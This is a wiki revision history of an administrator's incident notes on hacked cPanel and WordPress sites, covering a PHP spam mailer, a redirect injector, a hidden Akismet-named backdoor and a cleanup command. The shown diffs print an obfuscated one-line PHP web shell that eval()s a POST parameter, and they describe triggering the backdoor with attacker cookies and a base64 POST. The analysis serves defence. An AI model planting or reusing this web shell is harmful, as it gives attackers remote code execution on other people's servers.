PHP Hacks - Revision history

Leo: Text replacement - "" to "}}"

2017-02-24T19:14:38Z

Text replacement - "</code>" to "}}"

← Older revision		Revision as of 19:14, 24 February 2017
Line 4:		Line 4:
	== PHP Spammer ==		== PHP Spammer ==

	Exim on my cPanel server has been quite busy late. Too busy actually... Looking at the queue, it was clear someone was abusing the SMTP server. Most of the messages were sent from a PHP script called {{code\|newsVfK.php~~</code>~~. The contents of the script is given below.		Exim on my cPanel server has been quite busy late. Too busy actually... Looking at the queue, it was clear someone was abusing the SMTP server. Most of the messages were sent from a PHP script called {{code\|newsVfK.php}}. The contents of the script is given below.

	<syntaxhighlight lang="php" line start="1" enclose="div">		<syntaxhighlight lang="php" line start="1" enclose="div">
Line 304:		Line 304:
	</syntaxhighlight >		</syntaxhighlight >

	{{code\|list~~</code>~~ is the list of emails to spam. {{code\|data~~</code>~~ contains the actual spam data including the sender name, subject, and the spam message. There is a special 'decryption' function in the code that does a few transformations on the text that's given as to obfuscate what's actually going on.		{{code\|list}} is the list of emails to spam. {{code\|data}} contains the actual spam data including the sender name, subject, and the spam message. There is a special 'decryption' function in the code that does a few transformations on the text that's given as to obfuscate what's actually going on.

	Interestingly, this page appears to be hit by random servers, possibly servers that have been hijacked. There were a few hundred unique IPs hitting this script. Unfortunately, I couldn't find anything else on the compromised account which propagates these POST requests to other servers.		Interestingly, this page appears to be hit by random servers, possibly servers that have been hijacked. There were a few hundred unique IPs hitting this script. Unfortunately, I couldn't find anything else on the compromised account which propagates these POST requests to other servers.
Line 1,364:		Line 1,364:
	</syntaxhighlight>		</syntaxhighlight>

	The google analytics code is cosmetic only. The actual bit that matters is the long string after {{code\|showads.js?~~</code>~~ which gets rendered into something like:		The google analytics code is cosmetic only. The actual bit that matters is the long string after {{code\|showads.js?}} which gets rendered into something like:

	<syntaxhighlight lang="text" line start="1" enclose="div">		<syntaxhighlight lang="text" line start="1" enclose="div">
Line 1,370:		Line 1,370:
	</syntaxhighlight>		</syntaxhighlight>

	The idea is a request comes in with a GET index set, such as {{code\|log.php?ebe08b514a5a5e808c9d9084f66~~</code>~~. The code will replace 'ZZZZ' with the GET string {{code\|ebe08b514a5a5e808c9d9084f66~~</code>~~ which determines what link the user gets redirected to.		The idea is a request comes in with a GET index set, such as {{code\|log.php?ebe08b514a5a5e808c9d9084f66}}. The code will replace 'ZZZZ' with the GET string {{code\|ebe08b514a5a5e808c9d9084f66}} which determines what link the user gets redirected to.


Line 1,380:		Line 1,380:
	I noticed that random clients periodically go to a wordpress blog via HTTP POST. It's quite odd and for some reason, the account also seems to be sending periodic spam messages as well. I took the liberty of injecting a few lines to the wordpress index.php file in order to capture what was actually being POSTed.		I noticed that random clients periodically go to a wordpress blog via HTTP POST. It's quite odd and for some reason, the account also seems to be sending periodic spam messages as well. I took the liberty of injecting a few lines to the wordpress index.php file in order to capture what was actually being POSTed.

	The variable {{code\|file~~</code>~~ keeps on getting posted to the server with the following contents:		The variable {{code\|file}} keeps on getting posted to the server with the following contents:

	<syntaxhighlight lang="text" line start="1" enclose="div">		<syntaxhighlight lang="text" line start="1" enclose="div">
Line 1,571:		Line 1,571:
	</syntaxhighlight>		</syntaxhighlight>

	Incredibly, it's a spammer script. See that {{code\|base64_decode~~</code>~~? The contents of that is actually the same redirection script I talked about in the previous section! When the script runs, it infects all the index.php scripts with that redirection script if the {{code\|/* copyright */~~</code>~~ line doesn't exist in the file. Interestingly enough, it also tries to set the file timestamp to 2009 too. Stages other than 'first' and 'delete' causes mail to be sent.		Incredibly, it's a spammer script. See that {{code\|base64_decode}}? The contents of that is actually the same redirection script I talked about in the previous section! When the script runs, it infects all the index.php scripts with that redirection script if the {{code\|/* copyright */}} line doesn't exist in the file. Interestingly enough, it also tries to set the file timestamp to 2009 too. Stages other than 'first' and 'delete' causes mail to be sent.

	=== Finding the Backdoor ===		=== Finding the Backdoor ===

Leo: Text replacement - "`" to "{{code|"`


2017-02-24T19:13:08Z
Text replacement - "<code>" to "{{code|"

				
				
				
				
				
				← Older revision
				Revision as of 19:13, 24 February 2017
				
Line 4:
Line 4:
== PHP Spammer == == PHP Spammer ==



Exim on my cPanel server has been quite busy late. Too busy actually... Looking at the queue, it was clear someone was abusing the SMTP server. Most of the messages were sent from a PHP script called <code>newsVfK.php</code>. The contents of the script is given below. Exim on my cPanel server has been quite busy late. Too busy actually... Looking at the queue, it was clear someone was abusing the SMTP server. Most of the messages were sent from a PHP script called {{code|newsVfK.php</code>. The contents of the script is given below.



<syntaxhighlight lang="php" line start="1" enclose="div"> <syntaxhighlight lang="php" line start="1" enclose="div">
Line 304:
Line 304:
</syntaxhighlight > </syntaxhighlight >



<code>list</code> is the list of emails to spam. <code>data</code> contains the actual spam data including the sender name, subject, and the spam message. There is a special 'decryption' function in the code that does a few transformations on the text that's given as to obfuscate what's actually going on. {{code|list</code> is the list of emails to spam. {{code|data</code> contains the actual spam data including the sender name, subject, and the spam message. There is a special 'decryption' function in the code that does a few transformations on the text that's given as to obfuscate what's actually going on.



Interestingly, this page appears to be hit by random servers, possibly servers that have been hijacked. There were a few hundred unique IPs hitting this script. Unfortunately, I couldn't find anything else on the compromised account which propagates these POST requests to other servers. Interestingly, this page appears to be hit by random servers, possibly servers that have been hijacked. There were a few hundred unique IPs hitting this script. Unfortunately, I couldn't find anything else on the compromised account which propagates these POST requests to other servers.
Line 1,364:
Line 1,364:
</syntaxhighlight> </syntaxhighlight>



The google analytics code is cosmetic only. The actual bit that matters is the long string after <code>showads.js?</code> which gets rendered into something like: The google analytics code is cosmetic only. The actual bit that matters is the long string after {{code|showads.js?</code> which gets rendered into something like:



<syntaxhighlight lang="text" line start="1" enclose="div"> <syntaxhighlight lang="text" line start="1" enclose="div">
Line 1,370:
Line 1,370:
</syntaxhighlight> </syntaxhighlight>



The idea is a request comes in with a GET index set, such as <code>log.php?ebe08b514a5a5e808c9d9084f66</code>. The code will replace 'ZZZZ' with the GET string <code>ebe08b514a5a5e808c9d9084f66</code> which determines what link the user gets redirected to. The idea is a request comes in with a GET index set, such as {{code|log.php?ebe08b514a5a5e808c9d9084f66</code>. The code will replace 'ZZZZ' with the GET string {{code|ebe08b514a5a5e808c9d9084f66</code> which determines what link the user gets redirected to.






Line 1,380:
Line 1,380:
I noticed that random clients periodically go to a wordpress blog via HTTP POST. It's quite odd and for some reason, the account also seems to be sending periodic spam messages as well.  I took the liberty of injecting a few lines to the wordpress index.php file in order to capture what was actually being POSTed. I noticed that random clients periodically go to a wordpress blog via HTTP POST. It's quite odd and for some reason, the account also seems to be sending periodic spam messages as well.  I took the liberty of injecting a few lines to the wordpress index.php file in order to capture what was actually being POSTed.



The variable <code>file</code> keeps on getting posted to the server with the following contents: The variable {{code|file</code> keeps on getting posted to the server with the following contents:



<syntaxhighlight lang="text" line start="1" enclose="div"> <syntaxhighlight lang="text" line start="1" enclose="div">
Line 1,571:
Line 1,571:
</syntaxhighlight> </syntaxhighlight>



Incredibly, it's a spammer script.  See that <code>base64_decode</code>? The contents of that is actually the same redirection script I talked about in the previous section! When the script runs, it infects all the index.php scripts with that redirection script if the <code>/* copyright */</code> line doesn't exist in the file. Interestingly enough, it also tries to set the file timestamp to 2009 too.  Stages other than 'first' and 'delete' causes mail to be sent. Incredibly, it's a spammer script.  See that {{code|base64_decode</code>? The contents of that is actually the same redirection script I talked about in the previous section! When the script runs, it infects all the index.php scripts with that redirection script if the {{code|/* copyright */</code> line doesn't exist in the file. Interestingly enough, it also tries to set the file timestamp to 2009 too.  Stages other than 'first' and 'delete' causes mail to be sent.



=== Finding the Backdoor === === Finding the Backdoor ===



Leo: /* Backdoor */
2015-12-07T18:46:27Z
Backdoor

				
				
				
				
				
				← Older revision
				Revision as of 18:46, 7 December 2015
				
Line 1,573:
Line 1,573:
Incredibly, it's a spammer script.  See that <code>base64_decode</code>? The contents of that is actually the same redirection script I talked about in the previous section! When the script runs, it infects all the index.php scripts with that redirection script if the <code>/* copyright */</code> line doesn't exist in the file. Interestingly enough, it also tries to set the file timestamp to 2009 too.  Stages other than 'first' and 'delete' causes mail to be sent. Incredibly, it's a spammer script.  See that <code>base64_decode</code>? The contents of that is actually the same redirection script I talked about in the previous section! When the script runs, it infects all the index.php scripts with that redirection script if the <code>/* copyright */</code> line doesn't exist in the file. Interestingly enough, it also tries to set the file timestamp to 2009 too.  Stages other than 'first' and 'delete' causes mail to be sent.



=== Backdoor === === Finding the Backdoor ===
In order to figure out how this exploit worked, I had to replicate what the attacker is doing. 



In order to figure out how this exploit worked, I had to replicate what the attacker is doing. I created the cookies used by the hacker. It turns out, in order to have the $_POST['file'] contents executed, the $_COOKIE variables I replicated the attacker's cookies using the Chrome extenion EditThisCookie. Eg:
{{highlight|lang=text|code=
   [35ebc9f6525c1ee55530] => e1eeca31b43349bfd2a8    [35ebc9f6525c1ee55530] => e1eeca31b43349bfd2a8
   [PREF] => 3    [PREF] => 3
}}



were required in order to have $_POST['file'] decoded and executed by wordpress. I then ran PHP's backtrace code: Then, I POSTed the following to the {{code|file}} value:
 var_dump(debug_backtrace()); exit; {{highlight|lang=text|code=
dmFyX2R1bXAoZGVidWdfYmFja3RyYWNlKCkpOyBleGl0Owo=
}}



and found out that the exploit originated from the plugins directory from the <code>.akismet.bak.php</code> file which was oddly chmod 777 and owned by nobody. This is the {{code|base64}} encoded version of the following PHP code which generates a backtrace:
{{highlight|lang=php|code=
var_dump(debug_backtrace()); exit;
}}



 -rw-r--r-- 1 icopland icopland 33380 May 22  2011 admin.php When the request is made, you should see the backtrace such as the one below the file and the offending file which is executing the exploit code near the top. In the case below, the file is {{code|.akismet.bak.php}}.
 -rwxrwxrwx 1 nobody   nobody   20540 Sep  5  2007 .akismet.bak.php* {{highlight|lang=text|code=
 -rw-r--r-- 1 icopland icopland   464 May 22  2011 akismet.css array(7) { [0]=> array(3) { ["file"]=> string(102) "/home/xyz/public_html/wp-content/plugins/akismet/.akismet.bak.php(378) : runtime-created function" ["line"]=> int(9) ["function"]=> string(4) "eval" } [1]=> array(4) { ["file"]=> string(70) "/home/xyz/public_html/wp-content/plugins/akismet/.akismet.bak.php" ["line"]=> int(378) ["function"]=> string(13) "__lambda_func" ["args"]=> array(0) { } } [2]=> array(4) { ["file"]=> string(42) "/home/xyz/public_html/wp-settings.php" ["line"]=> int(190) ["args"]=> array(1) { [0]=> string(70) "/home/xyz/public_html/wp-content/plugins/akismet/.akismet.bak.php" } ["function"]=> string(12) "include_once" } [3]=> array(4) { ["file"]=> string(40) "/home/xyz/public_html/wp-config.php" ["line"]=> int(75) ["args"]=> array(1) { [0]=> string(42) "/home/xyz/public_html/wp-settings.php" } ["function"]=> string(12) "require_once" } [4]=> array(4) { ["file"]=> string(38) "/home/xyz/public_html/wp-load.php" ["line"]=> int(30) ["args"]=> array(1) { [0]=> string(40) "/home/xyz/public_html/wp-config.php" } ["function"]=> string(12) "require_once" } [5]=> array(4) { ["file"]=> string(45) "/home/xyz/public_html/wp-blog-header.php" ["line"]=> int(12) ["args"]=> array(1) { [0]=> string(38) "/home/xyz/public_html/wp-load.php" } ["function"]=> string(12) "require_once" } [6]=> array(4) { ["file"]=> string(36) "/home/xyz/public_html/index.php" ["line"]=> int(29) ["args"]=> array(1) { [0]=> string(45) "/home/xyz/public_html/wp-blog-header.php" } ["function"]=> string(7) "require" } }
 -rw-r--r-- 1 icopland icopland  2777 May 22  2011 akismet.gif }}
 -rw-r--r-- 1 icopland icopland   417 May 22  2011 akismet.js 
 -rw-r--r-- 1 icopland icopland 19708 Jul  9  2011 akismet.php 
 -rw-r--r-- 1 icopland icopland 14465 May 22  2011 legacy.php 
 -rw-r--r-- 1 icopland icopland  5407 May 22  2011 readme.txt 
 -rw-r--r-- 1 icopland icopland  4921 May 22  2011 widget.php 
 -rwxrwxrwx 1 nobody   nobody   46368 Sep  5  2007 .wp-db-backup.cache.php* 



Upon removing those files, the exploit no longer worked. The file was owned by nobody and chmod 777.
  
  
  
array(7) { [0]=> array(3) { ["file"]=> string(102) "/home/icopland/public_html/wp-content/plugins/akismet/.akismet.bak.php(378) : runtime-created function" ["line"]=> int(9) ["function"]=> string(4) "eval" } [1]=> array(4) { ["file"]=> string(70) "/home/icopland/public_html/wp-content/plugins/akismet/.akismet.bak.php" ["line"]=> int(378) ["function"]=> string(13) "__lambda_func" ["args"]=> array(0) { } } [2]=> array(4) { ["file"]=> string(42) "/home/icopland/public_html/wp-settings.php" ["line"]=> int(190) ["args"]=> array(1) { [0]=> string(70) "/home/icopland/public_html/wp-content/plugins/akismet/.akismet.bak.php" } ["function"]=> string(12) "include_once" } [3]=> array(4) { ["file"]=> string(40) "/home/icopland/public_html/wp-config.php" ["line"]=> int(75) ["args"]=> array(1) { [0]=> string(42) "/home/icopland/public_html/wp-settings.php" } ["function"]=> string(12) "require_once" } [4]=> array(4) { ["file"]=> string(38) "/home/icopland/public_html/wp-load.php" ["line"]=> int(30) ["args"]=> array(1) { [0]=> string(40) "/home/icopland/public_html/wp-config.php" } ["function"]=> string(12) "require_once" } [5]=> array(4) { ["file"]=> string(45) "/home/icopland/public_html/wp-blog-header.php" ["line"]=> int(12) ["args"]=> array(1) { [0]=> string(38) "/home/icopland/public_html/wp-load.php" } ["function"]=> string(12) "require_once" } [6]=> array(4) { ["file"]=> string(36) "/home/icopland/public_html/index.php" ["line"]=> int(29) ["args"]=> array(1) { [0]=> string(45) "/home/icopland/public_html/wp-blog-header.php" } ["function"]=> string(7) "require" } } 



{{highlight|lang=text|code=
-rwxrwxrwx 1 nobody   nobody   20540 Sep  5  2007 .akismet.bak.php*
-rw-r--r-- 1 xyz      xyz      19708 Jul  9  2011 akismet.php
-rwxrwxrwx 1 nobody   nobody   46368 Sep  5  2007 .wp-db-backup.cache.php*
}}



== More Backdoors == == More Backdoors ==





Leo: Reverted edits by Leo (talk) to last revision by 10.1.1.3
2015-09-04T08:10:47Z
Reverted edits by Leo (talk) to last revision by 10.1.1.3

				
				
				
				
				
				← Older revision
				Revision as of 08:10, 4 September 2015
				
Line 1,629:
Line 1,629:






== Fix == 
The fix is relatively easy: Just delete the keys from the options table that contains the exploit payload. 

To resolve the issue completely, all the bootstrap code embedded to various PHP files should be removed. This can be done by running: 
 for i in `grep -iR "_site_transient_browser_2c6071f6c1c1bc71199a2a062093a18c" * | cut -d: -f 1` ; do sed -i '/_site_transient/d' $i ; echo $i  ; done 



== How it is uploaded == == How it is uploaded ==





Leo: /* Fix */
2015-09-04T08:09:55Z
Fix

				
				
				
				
				
				← Older revision
				Revision as of 08:09, 4 September 2015
				
Line 1,629:
Line 1,629:






== Fix ==
The fix is relatively easy: Just delete the keys from the options table that contains the exploit payload. 

To resolve the issue completely, all the bootstrap code embedded to various PHP files should be removed. This can be done by running:
 for i in `grep -iR "_site_transient_browser_2c6071f6c1c1bc71199a2a062093a18c" * | cut -d: -f 1` ; do sed -i '/_site_transient/d' $i ; echo $i  ; done



== How it is uploaded == == How it is uploaded ==





10.1.1.3: /* How it is uploaded */
2015-05-05T05:11:26Z
How it is uploaded
Show changes


10.1.1.3: /* How it is uploaded */
2015-02-24T06:56:18Z
How it is uploaded

				
				
				
				
				
				← Older revision
				Revision as of 06:56, 24 February 2015
				
Line 1,640:
Line 1,640:
The hidden wysywigPro PHP script looks like a legit file created via cPanel's file editor when the user attempts to edit the file using the wysiwyg editor. However, it has the following remote execution code injected to the start of the file: The hidden wysywigPro PHP script looks like a legit file created via cPanel's file editor when the user attempts to edit the file using the wysiwyg editor. However, it has the following remote execution code injected to the start of the file:



<syntaxhighlight lang="text"> <syntaxhighlight lang="text">                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q117aaf'])){eval(${$s20}['q117aaf']);}?><?php ob_start() ?>
<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q117aaf'])){eval(${$s20}['q117aaf']);}?><?php ob_start() ?> 
</syntaxhighlight> </syntaxhighlight>



[[Category:Code]] [[Category:Code]]





10.1.1.3: /* How it is uploaded */
2015-02-24T06:55:53Z
How it is uploaded

				
				
				
				
				
				← Older revision
				Revision as of 06:55, 24 February 2015
				
Line 1,638:
Line 1,638:
</syntaxhighlight> </syntaxhighlight>



The hidden wysywigPro PHP script looks like a legit file created via cPanel's file editor when the user attempts to edit the file using the wysiwyg editor. However, it has the following code injected to the start of the file: The hidden wysywigPro PHP script looks like a legit file created via cPanel's file editor when the user attempts to edit the file using the wysiwyg editor. However, it has the following remote execution code injected to the start of the file:



<syntaxhighlight> <syntaxhighlight lang="text">
<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q117aaf'])){eval(${$s20}['q117aaf']);}?><?php ob_start() ?> <?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q117aaf'])){eval(${$s20}['q117aaf']);}?><?php ob_start() ?>
</syntaxhighlight> </syntaxhighlight>



[[Category:Code]] [[Category:Code]]





10.1.1.3 at 06:54, 24 February 2015
2015-02-24T06:54:07Z


				
				
				
				
				
				← Older revision
				Revision as of 06:54, 24 February 2015
				
Line 1,629:
Line 1,629:







== How it is uploaded ==

I noticed a new script that was being abused today. Looking at the logs for the first occurrence of the exploited script shows this:
<syntaxhighlight lang="text">
176.31.148.191 - - [23/Feb/2015:20:51:46 -0700] "POST /.wysywigPro_edit_index_html.php HTTP/1.1" 200 200 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0"
176.31.148.191 - - [23/Feb/2015:20:52:00 -0700] "GET /wordpress/wp-includes/js/crop/article.php HTTP/1.1" 200 67 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0"
</syntaxhighlight>

The hidden wysywigPro PHP script looks like a legit file created via cPanel's file editor when the user attempts to edit the file using the wysiwyg editor. However, it has the following code injected to the start of the file:

<syntaxhighlight>
<?php                                                                                                                                                                                                                                                               $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q117aaf'])){eval(${$s20}['q117aaf']);}?><?php ob_start() ?>
</syntaxhighlight>



[[Category:Code]] [[Category:Code]]





136.159.16.240: /* PHP Spammer v2.0 */
2014-12-05T19:34:09Z
PHP Spammer v2.0
Show changes

← Older revision		Revision as of 19:13, 24 February 2017
Line 4:		Line 4:
	== PHP Spammer ==		== PHP Spammer ==

	Exim on my cPanel server has been quite busy late. Too busy actually... Looking at the queue, it was clear someone was abusing the SMTP server. Most of the messages were sent from a PHP script called <code>newsVfK.php</code>. The contents of the script is given below.		Exim on my cPanel server has been quite busy late. Too busy actually... Looking at the queue, it was clear someone was abusing the SMTP server. Most of the messages were sent from a PHP script called {{code\|newsVfK.php</code>. The contents of the script is given below.

	<syntaxhighlight lang="php" line start="1" enclose="div">		<syntaxhighlight lang="php" line start="1" enclose="div">
Line 304:		Line 304:
	</syntaxhighlight >		</syntaxhighlight >

	<code>list</code> is the list of emails to spam. <code>data</code> contains the actual spam data including the sender name, subject, and the spam message. There is a special 'decryption' function in the code that does a few transformations on the text that's given as to obfuscate what's actually going on.		{{code\|list</code> is the list of emails to spam. {{code\|data</code> contains the actual spam data including the sender name, subject, and the spam message. There is a special 'decryption' function in the code that does a few transformations on the text that's given as to obfuscate what's actually going on.

	Interestingly, this page appears to be hit by random servers, possibly servers that have been hijacked. There were a few hundred unique IPs hitting this script. Unfortunately, I couldn't find anything else on the compromised account which propagates these POST requests to other servers.		Interestingly, this page appears to be hit by random servers, possibly servers that have been hijacked. There were a few hundred unique IPs hitting this script. Unfortunately, I couldn't find anything else on the compromised account which propagates these POST requests to other servers.
Line 1,364:		Line 1,364:
	</syntaxhighlight>		</syntaxhighlight>

	The google analytics code is cosmetic only. The actual bit that matters is the long string after <code>showads.js?</code> which gets rendered into something like:		The google analytics code is cosmetic only. The actual bit that matters is the long string after {{code\|showads.js?</code> which gets rendered into something like:

	<syntaxhighlight lang="text" line start="1" enclose="div">		<syntaxhighlight lang="text" line start="1" enclose="div">
Line 1,370:		Line 1,370:
	</syntaxhighlight>		</syntaxhighlight>

	The idea is a request comes in with a GET index set, such as <code>log.php?ebe08b514a5a5e808c9d9084f66</code>. The code will replace 'ZZZZ' with the GET string <code>ebe08b514a5a5e808c9d9084f66</code> which determines what link the user gets redirected to.		The idea is a request comes in with a GET index set, such as {{code\|log.php?ebe08b514a5a5e808c9d9084f66</code>. The code will replace 'ZZZZ' with the GET string {{code\|ebe08b514a5a5e808c9d9084f66</code> which determines what link the user gets redirected to.


Line 1,380:		Line 1,380:
	I noticed that random clients periodically go to a wordpress blog via HTTP POST. It's quite odd and for some reason, the account also seems to be sending periodic spam messages as well. I took the liberty of injecting a few lines to the wordpress index.php file in order to capture what was actually being POSTed.		I noticed that random clients periodically go to a wordpress blog via HTTP POST. It's quite odd and for some reason, the account also seems to be sending periodic spam messages as well. I took the liberty of injecting a few lines to the wordpress index.php file in order to capture what was actually being POSTed.

	The variable <code>file</code> keeps on getting posted to the server with the following contents:		The variable {{code\|file</code> keeps on getting posted to the server with the following contents:

	<syntaxhighlight lang="text" line start="1" enclose="div">		<syntaxhighlight lang="text" line start="1" enclose="div">
Line 1,571:		Line 1,571:
	</syntaxhighlight>		</syntaxhighlight>

	Incredibly, it's a spammer script. See that <code>base64_decode</code>? The contents of that is actually the same redirection script I talked about in the previous section! When the script runs, it infects all the index.php scripts with that redirection script if the <code>/* copyright */</code> line doesn't exist in the file. Interestingly enough, it also tries to set the file timestamp to 2009 too. Stages other than 'first' and 'delete' causes mail to be sent.		Incredibly, it's a spammer script. See that {{code\|base64_decode</code>? The contents of that is actually the same redirection script I talked about in the previous section! When the script runs, it infects all the index.php scripts with that redirection script if the {{code\|/* copyright */</code> line doesn't exist in the file. Interestingly enough, it also tries to set the file timestamp to 2009 too. Stages other than 'first' and 'delete' causes mail to be sent.

	=== Finding the Backdoor ===		=== Finding the Backdoor ===

← Older revision		Revision as of 18:46, 7 December 2015
Line 1,573:		Line 1,573:
	Incredibly, it's a spammer script. See that <code>base64_decode</code>? The contents of that is actually the same redirection script I talked about in the previous section! When the script runs, it infects all the index.php scripts with that redirection script if the <code>/* copyright */</code> line doesn't exist in the file. Interestingly enough, it also tries to set the file timestamp to 2009 too. Stages other than 'first' and 'delete' causes mail to be sent.		Incredibly, it's a spammer script. See that <code>base64_decode</code>? The contents of that is actually the same redirection script I talked about in the previous section! When the script runs, it infects all the index.php scripts with that redirection script if the <code>/* copyright */</code> line doesn't exist in the file. Interestingly enough, it also tries to set the file timestamp to 2009 too. Stages other than 'first' and 'delete' causes mail to be sent.

	=== Backdoor ===		=== Finding the Backdoor ===
			In order to figure out how this exploit worked, I had to replicate what the attacker is doing.

	~~In order to figure out how this exploit worked,~~ I ~~had to replicate what~~ the attacker ~~is doing. I created the~~ cookies ~~used by~~ the ~~hacker~~. ~~It turns out, in order to have the $_POST['file'] contents executed, the $_COOKIE variables~~		I replicated the attacker's cookies using the Chrome extenion EditThisCookie. Eg:
			{{highlight\|lang=text\|code=
	[35ebc9f6525c1ee55530] => e1eeca31b43349bfd2a8		[35ebc9f6525c1ee55530] => e1eeca31b43349bfd2a8
	[PREF] => 3		[PREF] => 3
			}}

	~~were required in order~~ to ~~have $_POST['~~file~~'] decoded and executed by wordpress. I then ran PHP's backtrace~~ code:		Then, I POSTed the following to the {{code\|file}} value:
	~~var_dump(debug_backtrace()); exit;~~		{{highlight\|lang=text\|code=
			dmFyX2R1bXAoZGVidWdfYmFja3RyYWNlKCkpOyBleGl0Owo=
			}}

	~~and found out that~~ the ~~exploit originated from the plugins directory from~~ the <code~~>.akismet.bak.~~php</code~~> file which was oddly chmod 777 and owned by nobody.~~		This is the {{code\|base64}} encoded version of the following PHP code which generates a backtrace:
			{{highlight\|lang=php\|code=
			var_dump(debug_backtrace()); exit;
			}}

	~~-rw-r--r-- 1 icopland icopland 33380 May 22 2011 admin~~.php		When the request is made, you should see the backtrace such as the one below the file and the offending file which is executing the exploit code near the top. In the case below, the file is {{code\|.akismet.bak.php}}.
	-~~rwxrwxrwx 1 nobody nobody 20540 Sep 5 2007~~ .akismet.bak.php*		{{highlight\|lang=text\|code=
	~~-rw-r~~--~~r-- 1 icopland icopland 464 May 22 2011~~ akismet.~~css~~		array(7) { [0]=> array(3) { ["file"]=> string(102) "/home/xyz/public_html/wp-content/plugins/akismet/.akismet.bak.php(378) : runtime-created function" ["line"]=> int(9) ["function"]=> string(4) "eval" } [1]=> array(4) { ["file"]=> string(70) "/home/xyz/public_html/wp-content/plugins/akismet/.akismet.bak.php" ["line"]=> int(378) ["function"]=> string(13) "__lambda_func" ["args"]=> array(0) { } } [2]=> array(4) { ["file"]=> string(42) "/home/xyz/public_html/wp-settings.php" ["line"]=> int(190) ["args"]=> array(1) { [0]=> string(70) "/home/xyz/public_html/wp-content/plugins/akismet/.akismet.bak.php" } ["function"]=> string(12) "include_once" } [3]=> array(4) { ["file"]=> string(40) "/home/xyz/public_html/wp-config.php" ["line"]=> int(75) ["args"]=> array(1) { [0]=> string(42) "/home/xyz/public_html/wp-settings.php" } ["function"]=> string(12) "require_once" } [4]=> array(4) { ["file"]=> string(38) "/home/xyz/public_html/wp-load.php" ["line"]=> int(30) ["args"]=> array(1) { [0]=> string(40) "/home/xyz/public_html/wp-config.php" } ["function"]=> string(12) "require_once" } [5]=> array(4) { ["file"]=> string(45) "/home/xyz/public_html/wp-blog-header.php" ["line"]=> int(12) ["args"]=> array(1) { [0]=> string(38) "/home/xyz/public_html/wp-load.php" } ["function"]=> string(12) "require_once" } [6]=> array(4) { ["file"]=> string(36) "/home/xyz/public_html/index.php" ["line"]=> int(29) ["args"]=> array(1) { [0]=> string(45) "/home/xyz/public_html/wp-blog-header.php" } ["function"]=> string(7) "require" } }
	~~-rw-r--r-- 1 icopland icopland 2777 May 22 2011~~ akismet.~~gif~~		}}
	~~-rw-r--r~~-- ~~1 icopland icopland 417 May 22 2011~~ akismet.js
	~~-rw-r--r-- 1 icopland icopland 19708 Jul 9 2011~~ akismet.php
	-rw-r--r-- ~~1 icopland icopland 14465 May 22 2011 legacy~~.php
	-~~rw-r--r-- 1 icopland icopland 5407 May 22 2011 readme~~.~~txt~~
	~~-rw-r--r-- 1 icopland icopland 4921 May 22 2011 widget~~.php
	~~-rwxrwxrwx~~ 1 ~~nobody nobody 46368 Sep 5 2007 .~~wp-db-~~backup.cache~~.php*

	~~Upon removing those files, the exploit no longer worked.~~		The file was owned by nobody and chmod 777.



	array(7) { [0]=> array(3) { ["file"]=> string(102) "/home/icopland/public_html/wp-content/plugins/akismet/.akismet.bak.php(378) : runtime-created function" ["line"]=> int(9) ["function"]=> string(4) "eval" } [1]=> array(4) { ["file"]=> string(70) "/home/icopland/public_html/wp-content/plugins/akismet/.akismet.bak.php" ["line"]=> int(378) ["function"]=> string(13) "__lambda_func" ["args"]=> array(0) { } } [2]=> array(4) { ["file"]=> string(42) "/home/icopland/public_html/wp-settings.php" ["line"]=> int(190) ["args"]=> array(1) { [0]=> string(70) "/home/icopland/public_html/wp-content/plugins/akismet/.akismet.bak.php" } ["function"]=> string(12) "include_once" } [3]=> array(4) { ["file"]=> string(40) "/home/icopland/public_html/wp-config.php" ["line"]=> int(75) ["args"]=> array(1) { [0]=> string(42) "/home/icopland/public_html/wp-settings.php" } ["function"]=> string(12) "require_once" } [4]=> array(4) { ["file"]=> string(38) "/home/icopland/public_html/wp-load.php" ["line"]=> int(30) ["args"]=> array(1) { [0]=> string(40) "/home/icopland/public_html/wp-config.php" } ["function"]=> string(12) "require_once" } [5]=> array(4) { ["file"]=> string(45) "/home/icopland/public_html/wp-blog-header.php" ["line"]=> int(12) ["args"]=> array(1) { [0]=> string(38) "/home/icopland/public_html/wp-load.php" } ["function"]=> string(12) "require_once" } [6]=> array(4) { ["file~~"]=> string(36) "/home/icopland/public_html/index.php" ["line"]=> int(29) ["args"]=> array(1) { [0]=> string(45) "/home/icopland/public_html/wp-blog-header~~.~~php" } ["function"]=> string(7) "require" } }~~

			{{highlight\|lang=text\|code=
			-rwxrwxrwx 1 nobody nobody 20540 Sep 5 2007 .akismet.bak.php*
			-rw-r--r-- 1 xyz xyz 19708 Jul 9 2011 akismet.php
			-rwxrwxrwx 1 nobody nobody 46368 Sep 5 2007 .wp-db-backup.cache.php*
			}}

	== More Backdoors ==		== More Backdoors ==

← Older revision		Revision as of 08:10, 4 September 2015
Line 1,629:		Line 1,629:


	~~== Fix ==~~
	~~The fix is relatively easy: Just delete the keys from the options table that contains the exploit payload.~~

	~~To resolve the issue completely, all the bootstrap code embedded to various PHP files should be removed. This can be done by running:~~
	~~for i in `grep -iR "_site_transient_browser_2c6071f6c1c1bc71199a2a062093a18c" * \| cut -d: -f 1` ; do sed -i '/_site_transient/d' $i ; echo $i ; done~~

	== How it is uploaded ==		== How it is uploaded ==

← Older revision		Revision as of 08:09, 4 September 2015
Line 1,629:		Line 1,629:


			== Fix ==
			The fix is relatively easy: Just delete the keys from the options table that contains the exploit payload.

			To resolve the issue completely, all the bootstrap code embedded to various PHP files should be removed. This can be done by running:
			for i in `grep -iR "_site_transient_browser_2c6071f6c1c1bc71199a2a062093a18c" * \| cut -d: -f 1` ; do sed -i '/_site_transient/d' $i ; echo $i ; done

	== How it is uploaded ==		== How it is uploaded ==

← Older revision		Revision as of 06:56, 24 February 2015
Line 1,640:		Line 1,640:
